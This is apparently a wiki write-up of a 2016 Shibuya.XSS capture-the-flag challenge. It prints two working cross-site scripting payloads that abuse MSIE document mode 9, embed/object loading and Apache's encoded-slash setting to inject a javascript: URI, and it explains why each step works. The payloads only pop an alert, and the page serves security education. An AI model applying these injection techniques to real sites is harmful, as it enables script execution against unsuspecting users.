Skip to content

Shibuya.XSS JIZEN GAKUSHU Challenge 2

Cure53 edited this page Mar 30, 2016 · 4 revisions

Shibuya.XSS JIZEN-GAKUSHU Challenge 2

This challenge was posted by Masato Kinugawa in March 2016, accompanying the Shibuya.XSS event in Tokyo.

URLs

Solution

The following solution was submitted by @0x6D6172696F and @filedescriptor:

<!-- Works on MSIE 11 -->
<meta http-equiv="X-UA-Compatible" content="IE=9">
<object type="text/html" data="mhtml:http://shibuya.vulnerabledoma.in/javascript:alert(1)@if(0)%2f..%2fjizen2?@end#foobar!"></object>
<embed type="text/html" src="mhtml:http://shibuya.vulnerabledoma.in/javascript:alert(1)@if(0)%2f..%2fjizen2?@end#foobar!"></embed>

Note, that this solution only works when loaded from a EML page - not a HTML website. Masato's model solution shown below is a bit more flexible.

The model solution created by Masato Kinugawa:

http://l0.cm/shibuya/jizen2.html

<meta http-equiv="X-UA-Compatible" content="IE=9">
<embed src="http://shibuya.vulnerabledoma.in/javascript:alert(1)/%2F..%2F..%2Fjizen2#hash"></embed>

Why does that work?

There is several reasons why this works, and several tricks being used to attack the seemingly secure page:

  • The page is being embedded by an external page, that itself is using MSIE document mode 9
  • By doing so, not only the embedding page runs in IE9 mode, the embedded one does as well!
  • The page is being loaded via an embed/object element. This will have an interesting effect on MSIE!
  • In this constellation, IE9 mode and embedded by an embed or object, the property location.pathname will not be prefixed by a slash! That opens the door for an attack.
  • Now, in addition to that, the server configuration of the challenge page allows to use encoded slashes, see the Apache docs about the setting called AllowEncodedSlashes: https://httpd.apache.org/docs/2.4/mod/core.html#AllowEncodedSlashes
  • This allows the attacker to infect the path with a hidden JavaScript URI

Combining those tricks, MSIE9 document mode 9, embedding the challenge page to get a location.pathname without slash and in addition the abuse or Apache's AllowEncodedSlahses sets all conditions necessary for the alert to pop.

Challenge solved :)

You can’t perform that action at this time.